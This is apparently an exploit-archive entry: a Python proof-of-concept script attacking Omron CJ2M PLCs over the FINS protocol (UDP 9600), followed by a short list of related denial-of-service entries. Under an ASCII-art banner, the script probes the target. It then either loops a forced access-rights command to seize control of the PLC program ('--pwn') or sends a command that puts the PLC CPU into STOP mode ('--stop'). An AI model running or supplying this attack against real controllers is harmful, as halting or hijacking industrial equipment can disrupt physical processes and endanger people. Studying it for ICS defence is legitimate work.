Omron PLC 1.0.0 – Denial of Service (PoC)

# Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC)

# Google Dork: n/a

# Date: 2019-12-06

# Exploit Author: n0b0dy

# Vendor Homepage: https://automation.omron.com, ia.omron.com

# Software Link: n/a

# Version: 1.0.0

# Tested on: PLC f/w rev.: CJ2M (v2.01)

# CWE-412 : Unrestricted Externally Accessible Lock

# CVE : n/a

#!usr/bin/python

######################################################################################################

# #

# `-:+oyhdmmNNNNNNNNmdhyso/:. #

# -/shmNmhyo+/:-..`````..--:/oshdNNdyo:. #

# `:ohNmho/-` .:+ydNmy+. #

# .+hNms/. `:ohNms:` #

# .+dNh+. `/ymNy: #

# :yNd+. `/yNmo. #

# `/dNy-` .+mNy- #

# +mmo. `/dNy- #

# :dNo` ``........--.......``` `/dNs. #

# .yNy. .- ``....```....``..``....```...`` `-` `+Nm/ #

# /mm: ./ymy. `...`` `..` `` .` `` `..` `...` +mho:` .yMh. #

# `sNy. `.`/hNMNo` `..` `.` .` .` `` `.. `...` -dMNmo... `+Nm: #

# `yNo` -yy-sMMMh- ......```.` .` .` `` .-...`` `..` `+NMMm:+h+` :mN/ #

# `hN/ +Nm.sMMh/: `.. `.....```..` `//+yy+.``.``...`..` `.. ./oNMm-oMh. -dN+ #

# `hN+ `/MMo:Nh:/h- `..` .. `..```oMy.:NMd```. .. `.` ys:omh.NMh` .mM/ #

# yM+ `o-hMN.:+sdm/ `-. .. .` ./-./NNo .` .. `.` .hmy+/`sMM-o- -mN: #

# +My .dd`mMy/hNmo. `-````` `. `- :ho. `. .. ````.. `/hNmo/NM//N/ :Mm` #

# .mm. sMd`mMmNd+/` `-` ``..-.``` .. +. .` ``.-...`` .. :/yNNNM/:MN` sMs #

# yM+ `mMm`mMm+-ss `-` ..```.....-....```-o+.```...-.....```.-` .` -h/:yMM/+MM/ .mN- #

# .Nm` `NMN`yo/yNd. .. -` `-```````yNm-```````. `-` `. oNd++h:sMM+ oMy #

# +Mo `.NMM.:hNMd. `-` `. .- `:- `- .. .` `oNMmo`yMM+. .NN` #

# hN- y:hMMoNMmo. .. .` .. .` - `- `. /hMMydMM-h. dM/ #

# .mm`-No-NMMMy-o: .. .` .. .://-` ` -` `-` - y-+mMMMy.Ns sMs #

# :Nd :Mm.oMMo.sN. ..`````````-`````````..`./s` :smds: :s:``-`````````-.`````````-` ym--NMm.sMh +Mh #

# +Mh -NMy`hd-hMd` ..`````````-```````.-/+smMy -my` `dNho/.````````-``````````- /Mm/+N:-NMs /Mh #

# /Nh hMM/-/hMM/ .. .` `+yhdmmNMMMM. .so` yMMMNmhyso+/.`-` `- `mMN/+.dMM- /Mh #

# -Nd` -NMm-+MMh. `. .` oMMMMMMMMMMN` `hy yMMMMMMMMMMMd.- `. `/MMd`yMMy oMy #

# `mN.`.oNMhyMN-o/ -` `.`mMMMMMMMMMMM- -NN. `dMMMMMMMMMMMM/. .` `y`hMNoMMh.- yMo #

# yM:.h./mMMMs dm` `. .+MMMMMMMMMMMMo /MM/ :NMMMMMMMMMMMMs` `. oN--NMMNy.+o`mM- #

# /My`dd/-yNM:.NM+ .. ``.hMMMMMMMMMMMMN- oMMo `hMMMMMMMMMMMMMh.` `.` `mMo`dMm/-yN/:Mm` #

# `mN./MMh-/d/+MMs .` ``````.NMMMMMMMMMMMMMm- sMMs oMMMMMMMMMMMMMMm.````` `.` -NMd`ds-omMh`hMo #

# +Ms oNMNo--sMMh`- ..` oMMMMMMMMMMMMMMMm:yMMhoMMMMMMMMMMMMMMMN- `..` `-:MMN.:/dMMd.:Nm. #

# `hN: /NMMm/+MMm`h+ .. mMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMo `.` -h-oMMd-yMMMy.`dM/ #

# -Nm. +yNMMdNMN-/Ms` `.` -MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh .. :mh`hMMdNMNdo- sMy #

# /Nh`:y+odNMMMo`mMy ..`/MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm``.` :NM/.NMMMmy+os`oMd. #

# +Mh`+Nh//odNm`oMM+ `.sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN.` .mMN`oNmy+/smh`+Mm. #

# +Nh./mMNho++-.mMN/-/` hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM- `-:.dMMo`+++ymMNs.oNd- #

# /Nd-.omMMMmy+/dMN//ds-hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM//hy-dMNs:sdMMMNh:`sMh. #

# -dN+``/ymNMMNdmMMo/mNdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMs:mMNdmMMNmh+. -dMs` #

# `yNy. /o+/oyhmmNNy:hNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm//mNNmdys+/+o.`oNm/ #

# :mNo`:dmdyo////+:./yNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdo--+//:/+shmmo.:dNy. #

# `+mm+.:smNMMMMMMMMNNNNmmMMMMMMMMMMMMMMMMMMMMMMMMMMNhmNNNNMMMMMMMMMNh+.:hNh- #

# `oNmo.`.+ooooo+//:--:yMMMMMMMMMMMMMMMMMMMMMMMMMMmo/--::/++ooooo:``/hNd: #

# `+mNs:.+yso++oshmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdys+++oys:.odNh: #

# :yNdo-/sdNNMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdmNNMMNNmy+:/hNmo. #

# `+hNds:``...`/MMMMMMMMMMMMMMMMMMMMMMMMMMMM: `....`-ohNms: #

# `/ymNds/.`sMMMMMMMMMMMMMMMMMMMMMMMMMMMM+ `:ohNNdo- #

# ./sdNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhmNNho:` #

# `-/oydNMMMMMMMMMMMMMMMMMMMMMMmhy+:. #

# `.://+osyyyyyyso+/:-. #

# #

# Exploit Title: Omron PLC: Denial-of-Service as a Feature #

# Google Dork: n/a #

# Date: 2019.12.06 #

# Exploit Author: n0b0dy #

# Vendor Homepage: https://automation.omron.com, ia.omron.com #

# Software Link: n/a #

# Version: 1.0.0 #

# Tested on: PLC f/w rev.: CJ2M (v2.01) #

# CWE-412 : Unrestricted Externally Accessible Lock #

# CVE : n/a #

# #

#######################################################################################################

import sys, signal, socket, time, binascii

nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = 'hostname'

if len(sys.argv) < 2:

print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}"

print "--pwn Hijack control of PLC program."

print "--stop Stop PLC CPU."

else:

ip = sys.argv[2]

try:

port = sys.argv[3]

except:

port = 9600

def ip_validate(ip):

a = ip.split('.')

if len(a) != 4:

return False

for x in a:

if not x.isdigit():

return False

i = int(x)

if i < 0 or i > 255:

return False

return True

#fins header

icf = '\x80' #info control field (flags); 80=resp req, 81=resp not req

rsv = '\x00' #reserved

gct = '\x02' #gateway count

dna = '\x00' #dest net addr

idnn = ip[-1:] #dest node no (last digit of target ip)

dnn_i = '0' + idnn

dnn = binascii.a2b_hex(dnn_i)

dua = '\x00' #dest unit addr

sna = '\x00' #source net addr

isnn = nic[-1:] #source node no (last digit of own ip)

snn_i = '0' + isnn

snn = binascii.a2b_hex(snn_i)

sua = '\x00' #source unit addr

sid = '\x7a' #service ID

fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid

#FINS command acceptance code

fins_ok = '\x00'

#Verify PLC type

CmdMRst1 = binascii.a2b_hex("05")

CmdSRst1 = binascii.a2b_hex("01")

Cmdst1 =\

fins_hdr + CmdMRst1 + CmdSRst1 + '\x00'

print "Probing PLC... " + '\t'

s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s1.sendto(Cmdst1, (ip, port))

print "Finished." + '\r\n'

s1fins_resp = s1.recvfrom(1024)

s1fins_resp_b = bytes(s1fins_resp[0])

if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok:

print "FINS target is exploitable: "

print s1fins_resp_b[14:39]

else:

print "FINS target not exploitable."

print "FINS response from target: ", s1fins_resp

if sys.argv[1] == "--pwn":

#access right forced acquire

PgmNo = '\xff'

CmdMRst2 = binascii.a2b_hex("0c")

CmdSRst2 = binascii.a2b_hex("02")

Cmdst2 =\

fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo

reqdly = 1

persist = 1

pwnage = 0

print "Obtaining control of PLC program..." + '\r\n'

while persist == 1:

try:

s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

time.sleep(reqdly)

s2.sendto(Cmdst2, (ip, port))

s2fins_resp = s2.recvfrom(1024)

s2fins_resp_b = bytes(s2fins_resp[0])

if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok:

pwnage += 1

pwntime = str(pwnage)

sys.stdout.write('\r' + "Pwnage in progress! " + "duration: " + pwntime + " sec.")

sys.stdout.flush()

else:

print "Attack unsuccessful. ", '\r\n'

print "FINS error code: ", s2fins_resp

except socket.error as e:

print socket.error

s2.close()

except KeyboardInterrupt:

persist = 0

print '\r', " Attack interrupted by user."

s2.close()

elif sys.argv[1] == "--stop":

#change OP Mode

CmdMRst3 = binascii.a2b_hex("04")

CmdSRst3 = binascii.a2b_hex("02")

Cmdst3 =\

fins_hdr + CmdMRst3 + CmdSRst3

print "Stopping PLC (just for fun)... " + '\t'

s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s3.sendto(Cmdst3, (ip, port))

print "Finished. "

s3fins_resp = s3.recvfrom(1024)

s3fins_resp_b = bytes(s3fins_resp[0])

if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok:

print "PLC CPU STOP mode confirmed. "

else:

print "Attack unsuccessful. ", '\r\n'

print "FINS response from target: ", s3fins_resp

相关漏洞条目

strongSwan 5.9.13 – DoS

Xlight FTP 1.1 – Denial Of Service (DOS)

Windows TCP/IP – RCE Checker and Denial of Service

RouterOS 6.40.5 – 6.44 and 6.48.1 – 6.49.10 – Denial of Service